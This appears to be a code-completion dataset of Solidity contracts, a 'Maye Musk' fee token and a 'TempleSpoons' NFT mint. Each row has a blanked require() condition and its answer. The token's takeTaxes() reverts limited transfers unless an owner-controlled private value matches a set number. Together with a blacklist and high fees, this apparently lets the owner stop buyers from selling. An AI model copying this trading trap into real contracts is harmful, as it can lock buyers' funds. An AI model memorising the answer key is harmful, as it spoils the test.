function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MayeMusk is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isSniperOrBlacklisted;
mapping (address => bool) private _liquidityHolders;
mapping (address => uint256) buyLog;
uint256 buyCoolDown = 15 seconds;
uint256 private startingSupply = 100_000_000;
string private _name = "Maye Musk";
string private _symbol = "MoM";
uint256 public _buyFee = 800;
uint256 public _sellFee = 800;
uint256 public _transferFee = 2500;
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 2500;
uint256 constant public maxTransferTaxes = 2500;
uint256 public _liquidityRatio = 10;
uint256 public _marketingRatio = 80;
uint256 public _devRatio = 10;
uint256 private constant masterTaxDivisor = 10_000;
uint256 private constant MAX = ~uint256(0);
uint8 constant private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet = payable(0x5E279D20726a2Ac9c9723F76651c72931E076f1E);
address payable private _teamWallet = payable(0xEFC1f30EC158Fc1f9fC372A748752Eff87b86a5d);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 2;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; //
uint256 private maxWalletPercent = 2;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; //
uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05%
uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5%
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external view override returns (string memory) { }
function name() external view override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isSniperOrBlacklisted(address account) public view returns (bool) {
}
function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{
}
function isProtected(uint256 rInitializer) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
}
function setStartingProtections(uint8 _block) external onlyOwner{
}
function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() {
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
} else {
require(<FILL_ME>)
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) internal {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
}
}
| lastTrade[from]!=block.number | 88,536 | lastTrade[from]!=block.number |
"Buy cooldown" | // SPDX-License-Identifier: MIT
/*
WELCOME TO TOSKA MUSK TOKEN, MOTHERS DAY RELATED TOKEN, ELON TWEET !
*/
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function factory() external view returns (address);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MayeMusk is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isSniperOrBlacklisted;
mapping (address => bool) private _liquidityHolders;
mapping (address => uint256) buyLog;
uint256 buyCoolDown = 15 seconds;
uint256 private startingSupply = 100_000_000;
string private _name = "Maye Musk";
string private _symbol = "MoM";
uint256 public _buyFee = 800;
uint256 public _sellFee = 800;
uint256 public _transferFee = 2500;
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 2500;
uint256 constant public maxTransferTaxes = 2500;
uint256 public _liquidityRatio = 10;
uint256 public _marketingRatio = 80;
uint256 public _devRatio = 10;
uint256 private constant masterTaxDivisor = 10_000;
uint256 private constant MAX = ~uint256(0);
uint8 constant private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet = payable(0x5E279D20726a2Ac9c9723F76651c72931E076f1E);
address payable private _teamWallet = payable(0xEFC1f30EC158Fc1f9fC372A748752Eff87b86a5d);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 2;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; //
uint256 private maxWalletPercent = 2;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; //
uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05%
uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5%
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external view override returns (string memory) { }
function name() external view override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isSniperOrBlacklisted(address account) public view returns (bool) {
}
function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{
}
function isProtected(uint256 rInitializer) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
}
function setStartingProtections(uint8 _block) external onlyOwner{
}
function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() {
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) internal {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
if (balanceOf(to) > 0){
require(<FILL_ME>)
}
buyLog[to] = block.timestamp;
currentFee = _buyFee;
} else if (to == lpPair) {
currentFee = _sellFee;
} else {
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply/10) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
}
| block.timestamp-buyLog[to]>=buyCoolDown,"Buy cooldown" | 88,536 | block.timestamp-buyLog[to]>=buyCoolDown |
"ALREADY_MINTED" | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(<FILL_ME>)
// Counter overflow is incredibly unrealistic.
unchecked {
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
contract _TempleSpoons is ERC721("TempleSpoons", "TSpoons") {
/* -------------------------------------------------------------------------- */
/* CONSTANTS */
/* -------------------------------------------------------------------------- */
address public owner = msg.sender;
uint256 constant MINT_FEE = 0.01 ether;
uint256 constant MAX_GIVEAWAY_SUPPLY = 1;
uint256 constant maxMintPerWallet = 777;
uint256 constant MAX_SUPPLY = 777;
address constant TSPOONS_TEAM = address(0xA0c8041d9e225cba96089778C0cA3bf9fb7AFb7D); // change this to your address
string constant unrevealedURI = "https://ipfs.io/ipfs/QmV7Xmve4HyQMd5K1rSJibGa7RTbSrkfHv2R3eWX7MNw68/";
/* -------------------------------------------------------------------------- */
/* MUTABLE STATE */
/* -------------------------------------------------------------------------- */
uint256 public giveawaySupply;
uint256 public totalSupply;
uint256 public revealedSupply;
string public revealedURI;
/* -------------------------------------------------------------------------- */
/* Temple_TEAM_METHODS */
/* -------------------------------------------------------------------------- */
function giveaway(address account, uint256 amount) external {
}
function withdraw(address account, uint256 amount) external {
}
function reveal(string memory updatedURI, uint256 _revealedSupply) external {
}
/* -------------------------------------------------------------------------- */
/* PUBLIC METHODS */
/* -------------------------------------------------------------------------- */
function mint(address account) external payable {
}
function batchMint(address account, uint256 amount) external payable {
}
function tokenURI(uint256 tokenId) public override view returns (string memory) {
}
/* -------------------------------------------------------------------------- */
/* INTERNAL METHODS */
/* -------------------------------------------------------------------------- */
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| ownerOf[id]==address(0),"ALREADY_MINTED" | 88,629 | ownerOf[id]==address(0) |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
contract _TempleSpoons is ERC721("TempleSpoons", "TSpoons") {
/* -------------------------------------------------------------------------- */
/* CONSTANTS */
/* -------------------------------------------------------------------------- */
address public owner = msg.sender;
uint256 constant MINT_FEE = 0.01 ether;
uint256 constant MAX_GIVEAWAY_SUPPLY = 1;
uint256 constant maxMintPerWallet = 777;
uint256 constant MAX_SUPPLY = 777;
address constant TSPOONS_TEAM = address(0xA0c8041d9e225cba96089778C0cA3bf9fb7AFb7D); // change this to your address
string constant unrevealedURI = "https://ipfs.io/ipfs/QmV7Xmve4HyQMd5K1rSJibGa7RTbSrkfHv2R3eWX7MNw68/";
/* -------------------------------------------------------------------------- */
/* MUTABLE STATE */
/* -------------------------------------------------------------------------- */
uint256 public giveawaySupply;
uint256 public totalSupply;
uint256 public revealedSupply;
string public revealedURI;
/* -------------------------------------------------------------------------- */
/* Temple_TEAM_METHODS */
/* -------------------------------------------------------------------------- */
function giveaway(address account, uint256 amount) external {
// make sure no more than max supply can be minted
require(<FILL_ME>)
// make sure only Temple team can call this method
require(msg.sender == TSPOONS_TEAM);
// make sure max giveaway supply is satisfied
require(giveawaySupply + amount < MAX_GIVEAWAY_SUPPLY);
for (uint i; i < amount; i++) {
// increase totalSupply by 1
totalSupply++;
// increase giveawaySupply by 1
giveawaySupply++;
// mint user 1 nft
_mint(account, totalSupply);
}
}
function withdraw(address account, uint256 amount) external {
}
function reveal(string memory updatedURI, uint256 _revealedSupply) external {
}
/* -------------------------------------------------------------------------- */
/* PUBLIC METHODS */
/* -------------------------------------------------------------------------- */
function mint(address account) external payable {
}
function batchMint(address account, uint256 amount) external payable {
}
function tokenURI(uint256 tokenId) public override view returns (string memory) {
}
/* -------------------------------------------------------------------------- */
/* INTERNAL METHODS */
/* -------------------------------------------------------------------------- */
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| totalSupply+amount<=MAX_SUPPLY | 88,629 | totalSupply+amount<=MAX_SUPPLY |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
contract _TempleSpoons is ERC721("TempleSpoons", "TSpoons") {
/* -------------------------------------------------------------------------- */
/* CONSTANTS */
/* -------------------------------------------------------------------------- */
address public owner = msg.sender;
uint256 constant MINT_FEE = 0.01 ether;
uint256 constant MAX_GIVEAWAY_SUPPLY = 1;
uint256 constant maxMintPerWallet = 777;
uint256 constant MAX_SUPPLY = 777;
address constant TSPOONS_TEAM = address(0xA0c8041d9e225cba96089778C0cA3bf9fb7AFb7D); // change this to your address
string constant unrevealedURI = "https://ipfs.io/ipfs/QmV7Xmve4HyQMd5K1rSJibGa7RTbSrkfHv2R3eWX7MNw68/";
/* -------------------------------------------------------------------------- */
/* MUTABLE STATE */
/* -------------------------------------------------------------------------- */
uint256 public giveawaySupply;
uint256 public totalSupply;
uint256 public revealedSupply;
string public revealedURI;
/* -------------------------------------------------------------------------- */
/* Temple_TEAM_METHODS */
/* -------------------------------------------------------------------------- */
function giveaway(address account, uint256 amount) external {
// make sure no more than max supply can be minted
require(totalSupply + amount <= MAX_SUPPLY);
// make sure only Temple team can call this method
require(msg.sender == TSPOONS_TEAM);
// make sure max giveaway supply is satisfied
require(<FILL_ME>)
for (uint i; i < amount; i++) {
// increase totalSupply by 1
totalSupply++;
// increase giveawaySupply by 1
giveawaySupply++;
// mint user 1 nft
_mint(account, totalSupply);
}
}
function withdraw(address account, uint256 amount) external {
}
function reveal(string memory updatedURI, uint256 _revealedSupply) external {
}
/* -------------------------------------------------------------------------- */
/* PUBLIC METHODS */
/* -------------------------------------------------------------------------- */
function mint(address account) external payable {
}
function batchMint(address account, uint256 amount) external payable {
}
function tokenURI(uint256 tokenId) public override view returns (string memory) {
}
/* -------------------------------------------------------------------------- */
/* INTERNAL METHODS */
/* -------------------------------------------------------------------------- */
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| giveawaySupply+amount<MAX_GIVEAWAY_SUPPLY | 88,629 | giveawaySupply+amount<MAX_GIVEAWAY_SUPPLY |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
